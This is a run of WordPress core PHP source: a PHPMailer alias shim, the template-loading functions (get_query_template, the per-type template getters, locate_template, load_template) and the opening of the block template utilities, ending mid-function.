require_once __DIR__ . '/PHPMailer/Exception.php';

class_alias( PHPMailer\PHPMailer\PHPMailer::class, 'PHPMailer' );
class_alias( PHPMailer\PHPMailer\Exception::class, 'phpmailerException' );
<?php
/**
 * Template loading functions.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Retrieves path to a template.
 *
 * Used to quickly retrieve the path of a template without including the file
 * extension. It will also check the parent theme, if the file exists, with
 * the use of locate_template(). Allows for more generic template location
 * without the use of the other get_*_template() functions.
 *
 * @since 1.5.0
 *
 * @param string   $type      Filename without extension.
 * @param string[] $templates An optional list of template candidates.
 * @return string Full path to template file.
 */
function get_query_template( $type, $templates = array() ) {
	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );

	if ( empty( $templates ) ) {
		$templates = array( "{$type}.php" );
	}

	/**
	 * Filters the list of template filenames that are searched for when retrieving a template to use.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
	 * extension and any non-alphanumeric characters delimiting words -- of the file to load.
	 * The last element in the array should always be the fallback template for this query type.
	 *
	 * Possible hook names include:
	 *
	 *  - `404_template_hierarchy`
	 *  - `archive_template_hierarchy`
	 *  - `attachment_template_hierarchy`
	 *  - `author_template_hierarchy`
	 *  - `category_template_hierarchy`
	 *  - `date_template_hierarchy`
	 *  - `embed_template_hierarchy`
	 *  - `frontpage_template_hierarchy`
	 *  - `home_template_hierarchy`
	 *  - `index_template_hierarchy`
	 *  - `page_template_hierarchy`
	 *  - `paged_template_hierarchy`
	 *  - `privacypolicy_template_hierarchy`
	 *  - `search_template_hierarchy`
	 *  - `single_template_hierarchy`
	 *  - `singular_template_hierarchy`
	 *  - `tag_template_hierarchy`
	 *  - `taxonomy_template_hierarchy`
	 *
	 * @since 4.7.0
	 *
	 * @param string[] $templates A list of template candidates, in descending order of priority.
	 */
	$templates = apply_filters( "{$type}_template_hierarchy", $templates );

	$template = locate_template( $templates );

	$template = locate_block_template( $template, $type, $templates );

	/**
	 * Filters the path of the queried template by type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
	 * extension and any non-alphanumeric characters delimiting words -- of the file to load.
	 * This hook also applies to various types of files loaded as part of the Template Hierarchy.
	 *
	 * Possible hook names include:
	 *
	 *  - `404_template`
	 *  - `archive_template`
	 *  - `attachment_template`
	 *  - `author_template`
	 *  - `category_template`
	 *  - `date_template`
	 *  - `embed_template`
	 *  - `frontpage_template`
	 *  - `home_template`
	 *  - `index_template`
	 *  - `page_template`
	 *  - `paged_template`
	 *  - `privacypolicy_template`
	 *  - `search_template`
	 *  - `single_template`
	 *  - `singular_template`
	 *  - `tag_template`
	 *  - `taxonomy_template`
	 *
	 * @since 1.5.0
	 * @since 4.8.0 The `$type` and `$templates` parameters were added.
	 *
	 * @param string   $template  Path to the template. See locate_template().
	 * @param string   $type      Sanitized filename without extension.
	 * @param string[] $templates A list of template candidates, in descending order of priority.
	 */
	return apply_filters( "{$type}_template", $template, $type, $templates );
}

/**
 * Retrieves path of index template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'index'.
 *
 * @since 3.0.0
 *
 * @see get_query_template()
 *
 * @return string Full path to index template file.
 */
function get_index_template() {
	return get_query_template( 'index' );
}

/**
 * Retrieves path of 404 template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is '404'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to 404 template file.
 */
function get_404_template() {
	return get_query_template( '404' );
}

/**
 * Retrieves path of archive template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to archive template file.
 */
function get_archive_template() {
	$post_types = array_filter( (array) get_query_var( 'post_type' ) );

	$templates = array();

	if ( count( $post_types ) === 1 ) {
		$post_type   = reset( $post_types );
		$templates[] = "archive-{$post_type}.php";
	}
	$templates[] = 'archive.php';

	return get_query_template( 'archive', $templates );
}

/**
 * Retrieves path of post type archive template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
 *
 * @since 3.7.0
 *
 * @see get_archive_template()
 *
 * @return string Full path to archive template file.
 */
function get_post_type_archive_template() {
	$post_type = get_query_var( 'post_type' );
	if ( is_array( $post_type ) ) {
		$post_type = reset( $post_type );
	}

	$obj = get_post_type_object( $post_type );
	if ( ! ( $obj instanceof WP_Post_Type ) || ! $obj->has_archive ) {
		return '';
	}

	return get_archive_template();
}

/**
 * Retrieves path of author template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. author-{nicename}.php
 * 2. author-{id}.php
 * 3. author.php
 *
 * An example of this is:
 *
 * 1. author-john.php
 * 2. author-1.php
 * 3. author.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'author'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to author template file.
 */
function get_author_template() {
	$author = get_queried_object();

	$templates = array();

	if ( $author instanceof WP_User ) {
		$templates[] = "author-{$author->user_nicename}.php";
		$templates[] = "author-{$author->ID}.php";
	}
	$templates[] = 'author.php';

	return get_query_template( 'author', $templates );
}

/**
 * Retrieves path of category template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. category-{slug}.php
 * 2. category-{id}.php
 * 3. category.php
 *
 * An example of this is:
 *
 * 1. category-news.php
 * 2. category-2.php
 * 3. category.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'category'.
 *
 * @since 1.5.0
 * @since 4.7.0 The decoded form of `category-{slug}.php` was added to the top of the
 *              template hierarchy when the category slug contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to category template file.
 */
function get_category_template() {
	$category = get_queried_object();

	$templates = array();

	if ( ! empty( $category->slug ) ) {

		$slug_decoded = urldecode( $category->slug );
		if ( $slug_decoded !== $category->slug ) {
			$templates[] = "category-{$slug_decoded}.php";
		}

		$templates[] = "category-{$category->slug}.php";
		$templates[] = "category-{$category->term_id}.php";
	}
	$templates[] = 'category.php';

	return get_query_template( 'category', $templates );
}

/**
 * Retrieves path of tag template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. tag-{slug}.php
 * 2. tag-{id}.php
 * 3. tag.php
 *
 * An example of this is:
 *
 * 1. tag-wordpress.php
 * 2. tag-3.php
 * 3. tag.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'tag'.
 *
 * @since 2.3.0
 * @since 4.7.0 The decoded form of `tag-{slug}.php` was added to the top of the
 *              template hierarchy when the tag slug contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to tag template file.
 */
function get_tag_template() {
	$tag = get_queried_object();

	$templates = array();

	if ( ! empty( $tag->slug ) ) {

		$slug_decoded = urldecode( $tag->slug );
		if ( $slug_decoded !== $tag->slug ) {
			$templates[] = "tag-{$slug_decoded}.php";
		}

		$templates[] = "tag-{$tag->slug}.php";
		$templates[] = "tag-{$tag->term_id}.php";
	}
	$templates[] = 'tag.php';

	return get_query_template( 'tag', $templates );
}

/**
 * Retrieves path of custom taxonomy term template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. taxonomy-{taxonomy_slug}-{term_slug}.php
 * 2. taxonomy-{taxonomy_slug}.php
 * 3. taxonomy.php
 *
 * An example of this is:
 *
 * 1. taxonomy-location-texas.php
 * 2. taxonomy-location.php
 * 3. taxonomy.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'taxonomy'.
 *
 * @since 2.5.0
 * @since 4.7.0 The decoded form of `taxonomy-{taxonomy_slug}-{term_slug}.php` was added to the top of the
 *              template hierarchy when the term slug contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to custom taxonomy term template file.
 */
function get_taxonomy_template() {
	$term = get_queried_object();

	$templates = array();

	if ( ! empty( $term->slug ) ) {
		$taxonomy = $term->taxonomy;

		$slug_decoded = urldecode( $term->slug );
		if ( $slug_decoded !== $term->slug ) {
			$templates[] = "taxonomy-$taxonomy-{$slug_decoded}.php";
		}

		$templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
		$templates[] = "taxonomy-$taxonomy.php";
	}
	$templates[] = 'taxonomy.php';

	return get_query_template( 'taxonomy', $templates );
}

/**
 * Retrieves path of date template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'date'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to date template file.
 */
function get_date_template() {
	return get_query_template( 'date' );
}

/**
 * Retrieves path of home template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'home'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to home template file.
 */
function get_home_template() {
	$templates = array( 'home.php', 'index.php' );

	return get_query_template( 'home', $templates );
}

/**
 * Retrieves path of front page template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'frontpage'.
 *
 * @since 3.0.0
 *
 * @see get_query_template()
 *
 * @return string Full path to front page template file.
 */
function get_front_page_template() {
	$templates = array( 'front-page.php' );

	return get_query_template( 'frontpage', $templates );
}

/**
 * Retrieves path of Privacy Policy page template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'privacypolicy'.
 *
 * @since 5.2.0
 *
 * @see get_query_template()
 *
 * @return string Full path to privacy policy template file.
 */
function get_privacy_policy_template() {
	$templates = array( 'privacy-policy.php' );

	return get_query_template( 'privacypolicy', $templates );
}

/**
 * Retrieves path of page template in current or parent template.
 *
 * Note: For block themes, use locate_block_template() function instead.
 *
 * The hierarchy for this template looks like:
 *
 * 1. {Page Template}.php
 * 2. page-{page_name}.php
 * 3. page-{id}.php
 * 4. page.php
 *
 * An example of this is:
 *
 * 1. page-templates/full-width.php
 * 2. page-about.php
 * 3. page-4.php
 * 4. page.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'page'.
 *
 * @since 1.5.0
 * @since 4.7.0 The decoded form of `page-{page_name}.php` was added to the top of the
 *              template hierarchy when the page name contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to page template file.
 */
function get_page_template() {
	$id       = get_queried_object_id();
	$template = get_page_template_slug();
	$pagename = get_query_var( 'pagename' );

	if ( ! $pagename && $id ) {
		/*
		 * If a static page is set as the front page, $pagename will not be set.
		 * Retrieve it from the queried object.
		 */
		$post = get_queried_object();
		if ( $post ) {
			$pagename = $post->post_name;
		}
	}

	$templates = array();
	if ( $template && 0 === validate_file( $template ) ) {
		$templates[] = $template;
	}
	if ( $pagename ) {
		$pagename_decoded = urldecode( $pagename );
		if ( $pagename_decoded !== $pagename ) {
			$templates[] = "page-{$pagename_decoded}.php";
		}
		$templates[] = "page-{$pagename}.php";
	}
	if ( $id ) {
		$templates[] = "page-{$id}.php";
	}
	$templates[] = 'page.php';

	return get_query_template( 'page', $templates );
}

/**
 * Retrieves path of search template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'search'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to search template file.
 */
function get_search_template() {
	return get_query_template( 'search' );
}

/**
 * Retrieves path of single template in current or parent template. Applies to single Posts,
 * single Attachments, and single custom post types.
 *
 * The hierarchy for this template looks like:
 *
 * 1. {Post Type Template}.php
 * 2. single-{post_type}-{post_name}.php
 * 3. single-{post_type}.php
 * 4. single.php
 *
 * An example of this is:
 *
 * 1. templates/full-width.php
 * 2. single-post-hello-world.php
 * 3. single-post.php
 * 4. single.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'single'.
 *
 * @since 1.5.0
 * @since 4.4.0 `single-{post_type}-{post_name}.php` was added to the top of the template hierarchy.
 * @since 4.7.0 The decoded form of `single-{post_type}-{post_name}.php` was added to the top of the
 *              template hierarchy when the post name contains multibyte characters.
 * @since 4.7.0 `{Post Type Template}.php` was added to the top of the template hierarchy.
 *
 * @see get_query_template()
 *
 * @return string Full path to single template file.
 */
function get_single_template() {
	$object = get_queried_object();

	$templates = array();

	if ( ! empty( $object->post_type ) ) {
		$template = get_page_template_slug( $object );
		if ( $template && 0 === validate_file( $template ) ) {
			$templates[] = $template;
		}

		$name_decoded = urldecode( $object->post_name );
		if ( $name_decoded !== $object->post_name ) {
			$templates[] = "single-{$object->post_type}-{$name_decoded}.php";
		}

		$templates[] = "single-{$object->post_type}-{$object->post_name}.php";
		$templates[] = "single-{$object->post_type}.php";
	}

	$templates[] = 'single.php';

	return get_query_template( 'single', $templates );
}

/**
 * Retrieves an embed template path in the current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. embed-{post_type}-{post_format}.php
 * 2. embed-{post_type}.php
 * 3. embed.php
 *
 * An example of this is:
 *
 * 1. embed-post-audio.php
 * 2. embed-post.php
 * 3. embed.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'embed'.
 *
 * @since 4.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to embed template file.
 */
function get_embed_template() {
	$object = get_queried_object();

	$templates = array();

	if ( ! empty( $object->post_type ) ) {
		$post_format = get_post_format( $object );
		if ( $post_format ) {
			$templates[] = "embed-{$object->post_type}-{$post_format}.php";
		}
		$templates[] = "embed-{$object->post_type}.php";
	}

	$templates[] = 'embed.php';

	return get_query_template( 'embed', $templates );
}

/**
 * Retrieves the path of the singular template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'singular'.
 *
 * @since 4.3.0
 *
 * @see get_query_template()
 *
 * @return string Full path to singular template file
 */
function get_singular_template() {
	return get_query_template( 'singular' );
}

/**
 * Retrieves path of attachment template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. {mime_type}-{sub_type}.php
 * 2. {sub_type}.php
 * 3. {mime_type}.php
 * 4. attachment.php
 *
 * An example of this is:
 *
 * 1. image-jpeg.php
 * 2. jpeg.php
 * 3. image.php
 * 4. attachment.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'attachment'.
 *
 * @since 2.0.0
 * @since 4.3.0 The order of the mime type logic was reversed so the hierarchy is more logical.
 *
 * @see get_query_template()
 *
 * @return string Full path to attachment template file.
 */
function get_attachment_template() {
	$attachment = get_queried_object();

	$templates = array();

	if ( $attachment ) {
		if ( str_contains( $attachment->post_mime_type, '/' ) ) {
			list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
		} else {
			list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
		}

		if ( ! empty( $subtype ) ) {
			$templates[] = "{$type}-{$subtype}.php";
			$templates[] = "{$subtype}.php";
		}
		$templates[] = "{$type}.php";
	}
	$templates[] = 'attachment.php';

	return get_query_template( 'attachment', $templates );
}

/**
 * Set up the globals used for template loading.
 *
 * @since 6.5.0
 *
 * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string $wp_template_path   Path to current theme's template directory.
 */
function wp_set_template_globals() {
	global $wp_stylesheet_path, $wp_template_path;

	$wp_stylesheet_path = get_stylesheet_directory();
	$wp_template_path   = get_template_directory();
}

/**
 * Retrieves the name of the highest priority template file that exists.
 *
 * Searches in the stylesheet directory before the template directory and
 * wp-includes/theme-compat so that themes which inherit from a parent theme
 * can just overload one file.
 *
 * @since 2.7.0
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string $wp_template_path   Path to current theme's template directory.
 *
 * @param string|array $template_names Template file(s) to search for, in order.
 * @param bool         $load           If true the template file will be loaded if it is found.
 * @param bool         $load_once      Whether to require_once or require. Has no effect if `$load` is false.
 *                                     Default true.
 * @param array        $args           Optional. Additional arguments passed to the template.
 *                                     Default empty array.
 * @return string The template filename if one is located.
 */
function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
	global $wp_stylesheet_path, $wp_template_path;

	if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
		wp_set_template_globals();
	}

	$is_child_theme = is_child_theme();

	$located = '';
	foreach ( (array) $template_names as $template_name ) {
		if ( ! $template_name ) {
			continue;
		}
		if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
			$located = $wp_stylesheet_path . '/' . $template_name;
			break;
		} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
			$located = $wp_template_path . '/' . $template_name;
			break;
		} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
			$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
			break;
		}
	}

	if ( $load && '' !== $located ) {
		load_template( $located, $load_once, $args );
	}

	return $located;
}

/**
 * Requires the template file with WordPress environment.
 *
 * The globals are set up for the template file to ensure that the WordPress
 * environment is available from within the function. The query variables are
 * also available.
 *
 * @since 1.5.0
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @global array      $posts
 * @global WP_Post    $post          Global post object.
 * @global bool       $wp_did_header
 * @global WP_Query   $wp_query      WordPress Query object.
 * @global WP_Rewrite $wp_rewrite    WordPress rewrite component.
 * @global wpdb       $wpdb          WordPress database abstraction object.
 * @global string     $wp_version
 * @global WP         $wp            Current WordPress environment instance.
 * @global int        $id
 * @global WP_Comment $comment       Global comment object.
 * @global int        $user_ID
 *
 * @param string $_template_file Path to template file.
 * @param bool   $load_once      Whether to require_once or require. Default true.
 * @param array  $args           Optional. Additional arguments passed to the template.
 *                               Default empty array.
 */
function load_template( $_template_file, $load_once = true, $args = array() ) {
	global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;

	if ( is_array( $wp_query->query_vars ) ) {
		/*
		 * This use of extract() cannot be removed. There are many possible ways that
		 * templates could depend on variables that it creates existing, and no way to
		 * detect and deprecate it.
		 *
		 * Passing the EXTR_SKIP flag is the safest option, ensuring globals and
		 * function variables cannot be overwritten.
		 */
		// phpcs:ignore WordPress.PHP.DontExtract.extract_extract
		extract( $wp_query->query_vars, EXTR_SKIP );
	}

	if ( isset( $s ) ) {
		$s = esc_attr( $s );
	}

	/**
	 * Fires before a template file is loaded.
	 *
	 * @since 6.1.0
	 *
	 * @param string $_template_file The full path to the template file.
	 * @param bool   $load_once      Whether to require_once or require.
	 * @param array  $args           Additional arguments passed to the template.
	 */
	do_action( 'wp_before_load_template', $_template_file, $load_once, $args );

	if ( $load_once ) {
		require_once $_template_file;
	} else {
		require $_template_file;
	}

	/**
	 * Fires after a template file is loaded.
	 *
	 * @since 6.1.0
	 *
	 * @param string $_template_file The full path to the template file.
	 * @param bool   $load_once      Whether to require_once or require.
	 * @param array  $args           Additional arguments passed to the template.
	 */
	do_action( 'wp_after_load_template', $_template_file, $load_once, $args );
}
<?php
/**
 * Utilities used to fetch and create templates and template parts.
 *
 * @package WordPress
 * @since 5.8.0
 */

// Define constants for supported wp_template_part_area taxonomy.
if ( ! defined( 'WP_TEMPLATE_PART_AREA_HEADER' ) ) {
	define( 'WP_TEMPLATE_PART_AREA_HEADER', 'header' );
}
if ( ! defined( 'WP_TEMPLATE_PART_AREA_FOOTER' ) ) {
	define( 'WP_TEMPLATE_PART_AREA_FOOTER', 'footer' );
}
if ( ! defined( 'WP_TEMPLATE_PART_AREA_SIDEBAR' ) ) {
	define( 'WP_TEMPLATE_PART_AREA_SIDEBAR', 'sidebar' );
}
if ( ! defined( 'WP_TEMPLATE_PART_AREA_UNCATEGORIZED' ) ) {
	define( 'WP_TEMPLATE_PART_AREA_UNCATEGORIZED', 'uncategorized' );
}

/**
 * For backward compatibility reasons,
 * block themes might be using block-templates or block-template-parts,
 * this function ensures we fallback to these folders properly.
 *
 * @since 5.9.0
 *
 * @param string $theme_stylesheet The stylesheet. Default is to leverage the main theme root.
 *
 * @return string[] {
 *     Folder names used by block themes.
 *
 *     @type string $wp_template      Theme-relative directory name for block templates.
 *     @type string $wp_template_part Theme-relative directory name for block template parts.
 * }
 */
function get_block_theme_folders( $theme_stylesheet = null ) {
	$theme = wp_get_theme( (string) $theme_stylesheet );
	if ( ! $theme->exists() ) {
		// Return the default folders if the theme doesn't exist.
		return array(
			'wp_template'      => 'templates',
			'wp_template_part' => 'parts',
		);
	}
	return $theme->get_block_template_folders();
}

/**
 * Returns a filtered list of allowed area values for template parts.
 *
 * @since 5.9.0
 *
 * @return array[] The supported template part area values.
 */
function get_allowed_block_template_part_areas() {
	$default_area_definitions = array(
		array(
			'area'        => WP_TEMPLATE_PART_AREA_UNCATEGORIZED,
			'label'       => _x( 'General', 'template part area' ),
			'description' => __(
				'General templates often perform a specific role like displaying post content, and are not tied to any particular area.'
			),
			'icon'        => 'layout',
			'area_tag'    => 'div',
		),
		array(
			'area'        => WP_TEMPLATE_PART_AREA_HEADER,
			'label'       => _x( 'Header', 'template part area' ),
			'description' => __(
				'The Header template defines a page area that typically contains a title, logo, and main navigation.'
			),
			'icon'        => 'header',
			'area_tag'    => 'header',
		),
		array(
			'area'        => WP_TEMPLATE_PART_AREA_FOOTER,
			'label'       => _x( 'Footer', 'template part area' ),
			'description' => __(
				'The Footer template defines a page area that typically contains site credits, social links, or any other combination of blocks.'
			),
			'icon'        => 'footer',
			'area_tag'    => 'footer',
		),
	);

	/**
	 * Filters the list of allowed template part area values.
	 *
	 * @since 5.9.0
	 *
	 * @param array[] $default_area_definitions An array of supported area objects.
	 */
	return apply_filters( 'default_wp_template_part_areas', $default_area_definitions );
}


/**
 * Returns a filtered list of default template types, containing their
 * localized titles and descriptions.
 *
 * @since 5.9.0
 *
 * @return array[] The default template types.
 */
function get_default_block_template_types() {
	$default_template_types = array(
		'index'          => array(
			'title'       => _x( 'Index', 'Template name' ),
			'description' => __( 'Used as a fallback template for all pages when a more specific template is not defined.' ),
		),
		'home'           => array(
			'title'       => _x( 'Blog Home', 'Template name' ),
			'description' => __( 'Displays the latest posts as either the site homepage or as the "Posts page" as defined under reading settings. If it exists, the Front Page template overrides this template when posts are shown on the homepage.' ),
		),
		'front-page'     => array(
			'title'       => _x( 'Front Page', 'Template name' ),
			'description' => __( 'Displays your site\'s homepage, whether it is set to display latest posts or a static page. The Front Page template takes precedence over all templates.' ),
		),
		'singular'       => array(
			'title'       => _x( 'Single Entries', 'Template name' ),
			'description' => __( 'Displays any single entry, such as a post or a page. This template will serve as a fallback when a more specific template (e.g. Single Post, Page, or Attachment) cannot be found.' ),
		),
		'single'         => array(
			'title'       => _x( 'Single Posts', 'Template name' ),
			'description' => __( 'Displays a single post on your website unless a custom template has been applied to that post or a dedicated template exists.' ),
		),
		'page'           => array(
			'title'       => _x( 'Pages', 'Template name' ),
			'description' => __( 'Displays a static page unless a custom template has been applied to that page or a dedicated template exists.' ),
		),
		'archive'        => array(
			'title'       => _x( 'All Archives', 'Template name' ),
			'description' => __( 'Displays any archive, including posts by a single author, category, tag, taxonomy, custom post type, and date. This template will serve as a fallback when more specific templates (e.g. Category or Tag) cannot be found.' ),
		),
		'author'         => array(
			'title'       => _x( 'Author Archives', 'Template name' ),
			'description' => __( 'Displays a single author\'s post archive. This template will serve as a fallback when a more specific template (e.g. Author: Admin) cannot be found.' ),
		),
		'category'       => array(
			'title'       => _x( 'Category Archives', 'Template name' ),
			'description' => __( 'Displays a post category archive. This template will serve as a fallback when a more specific template (e.g. Category: Recipes) cannot be found.' ),
		),
		'taxonomy'       => array(
			'title'       => _x( 'Taxonomy', 'Template name' ),
			'description' => __( 'Displays a custom taxonomy archive. Like categories and tags, taxonomies have terms which you use to classify things. For example: a taxonomy named "Art" can have multiple terms, such as "Modern" and "18th Century." This template will serve as a fallback when a more specific template (e.g. Taxonomy: Art) cannot be found.' ),
		),
		'date'           => array(
			'title'       => _x( 'Date Archives', 'Template name' ),
			'description' => __( 'Displays a post archive when a specific date is visited (e.g., example.com/2023/).' ),
		),
		'tag'            => array(
			'title'       => _x( 'Tag Archives', 'Template name' ),
			'description' => __( 'Displays a post tag archive. This template will serve as a fallback when a more specific template (e.g. Tag: Pizza) cannot be found.' ),
		),
		'attachment'     => array(
			'title'       => __( 'Attachment Pages' ),
			'description' => __( 'Displays when a visitor views the dedicated page that exists for any media attachment.' ),
		),
		'search'         => array(
			'title'       => _x( 'Search Results', 'Template name' ),
			'description' => __( 'Displays when a visitor performs a search on your website.' ),
		),
		'privacy-policy' => array(
			'title'       => __( 'Privacy Policy' ),
			'description' => __( 'Displays your site\'s Privacy Policy page.' ),
		),
		'404'            => array(
			'title'       => _x( 'Page: 404', 'Template name' ),
			'description' => __( 'Displays when a visitor views a non-existent page, such as a dead link or a mistyped URL.' ),
		),
	);

	/**
	 * Filters the list of default template types.
	 *
	 * @since 5.9.0
	 *
	 * @param array[] $default_template_types An array of template types, formatted as [ slug => [ title, description ] ].
	 */
	return apply_filters( 'default_template_types', $default_template_types );
}

/**
 * Checks whether the input 'area' is a supported value.
 * Returns the input if supported, otherwise returns the 'uncategorized' value.
 *
 * @since 5.9.0
 * @access private
 *
 * @param string $type Template part area name.
 * @return string Input if supported, else the uncategorized value.
 */
function _filter_block_template_part_area( $type ) {
	$allowed_areas = array_map(
		static function ( $item ) {
			return $item['area'];
		},
		get_allowed_block_template_part_areas()
	);
	if ( in_array( $type, $allowed_areas, true ) ) {
		return $type;
	}

	$warning_message = sprintf(
		/* translators: %1$s: Template area type, %2$s: the uncategorized template area value. */
		__( '"%1$s" is not a supported wp_template_part area value and has been added as "%2$s".' ),
		$type,
		WP_TEMPLATE_PART_AREA_UNCATEGORIZED
	);
	trigger_error( $warning_message, E_USER_NOTICE );
	return WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
}

/**
 * Finds all nested template part file paths in a theme's directory.
 *
 * @since 5.9.0
 * @access private
 *
 * @param string $base_directory The theme's file path.
 * @return string[] A list of paths to all template part files.
 */
function _get_block_templates_paths( $base_directory ) {
	static $template_path_list = array();
	if ( isset( $template_path_list[ $base_directory ] ) ) {
		return $template_path_list[ $base_directory ];
	}
	$path_list = array();
	if ( is_dir( $base_directory ) ) {
		$nested_files      = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $base_directory ) );
		$nested_html_files = new RegexIterator( $nested_files, '/^.+\.html$/i', RecursiveRegexIterator::GET_MATCH );
		foreach ( $nested_html_files as $path => $file ) {
			$path_list[] = $path;
		}
	}
	$template_path_list[ $base_directory ] = $path_list;
	return $path_list;
}

/**
 * Retrieves the template file from the theme for a given slug.
 *
 * @since 5.9.0
 * @access private
 *
 * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'.
 * @param string $slug          Template slug.
 * @return array|null {
 *    Array with template metadata if $template_type is one of 'wp_template' or 'wp_template_part',
 *    null otherwise.
 *
 *    @type string   $slug      Template slug.
 *    @type string   $path      Template file path.
 *    @type string   $theme     Theme slug.
 *    @type string   $type      Template type.
 *    @type string   $area      Template area. Only for 'wp_template_part'.
 *    @type string   $title     Optional. Template title.
 *    @type string[] $postTypes Optional. List of post types that the template supports. Only for 'wp_template'.
 * }
 */
function _get_block_template_file( $template_type, $slug ) {
	if ( 'wp_template' !== $template_type && 'wp_template_part' !== $template_type ) {
		return null;
	}

	$themes = array(
		get_stylesheet() => get_stylesheet_directory(),
		get_template()   => get_template_directory(),
	);
	foreach ( $themes as $theme_slug => $theme_dir ) {
		$template_base_paths = get_block_theme_folders( $theme_slug );
		$file_path           = $theme_dir . '/' . $template_base_paths[ $template_type ] . '/' . $slug . '.html';
		if ( file_exists( $file_path ) ) {
			$new_template_item = array(
				'slug'  => $slug,
				'path'  => $file_path,
				'theme' => $theme_slug,
				'type'  => $template_type,
			);

			if ( 'wp_template_part' === $template_type ) {
				return _add_block_template_part_area_info( $new_template_item );
			}

			if ( 'wp_template' === $template_type ) {
				return _add_block_template_info( $new_template_item );
			}

			return $new_template_item;
		}
	}

	return null;
}

/**
 * Retrieves the template files from the theme.
 *
 * @since 5.9.0
 * @since 6.3.0 Added the `$query` parameter.
 * @access private
 *
 * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'.
 * @param array  $query {
 *     Arguments to retrieve templates. Optional, empty by default.
 *
 *     @type string[] $slug__in     List of slugs to include.
 *     @type string[] $slug__not_in List of slugs to skip.
 *     @type string   $area         A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only).
 *     @type string   $post_type    Post type to get the templates for.
 * }
 *
 * @return array Template
 */
function _get_block_templates_files( $template_type, $query = array() ) {
	if ( 'wp_template' !== $template_type && 'wp_template_part' !== $template_type ) {
		return null;
	}

	// Prepare metadata from $query.
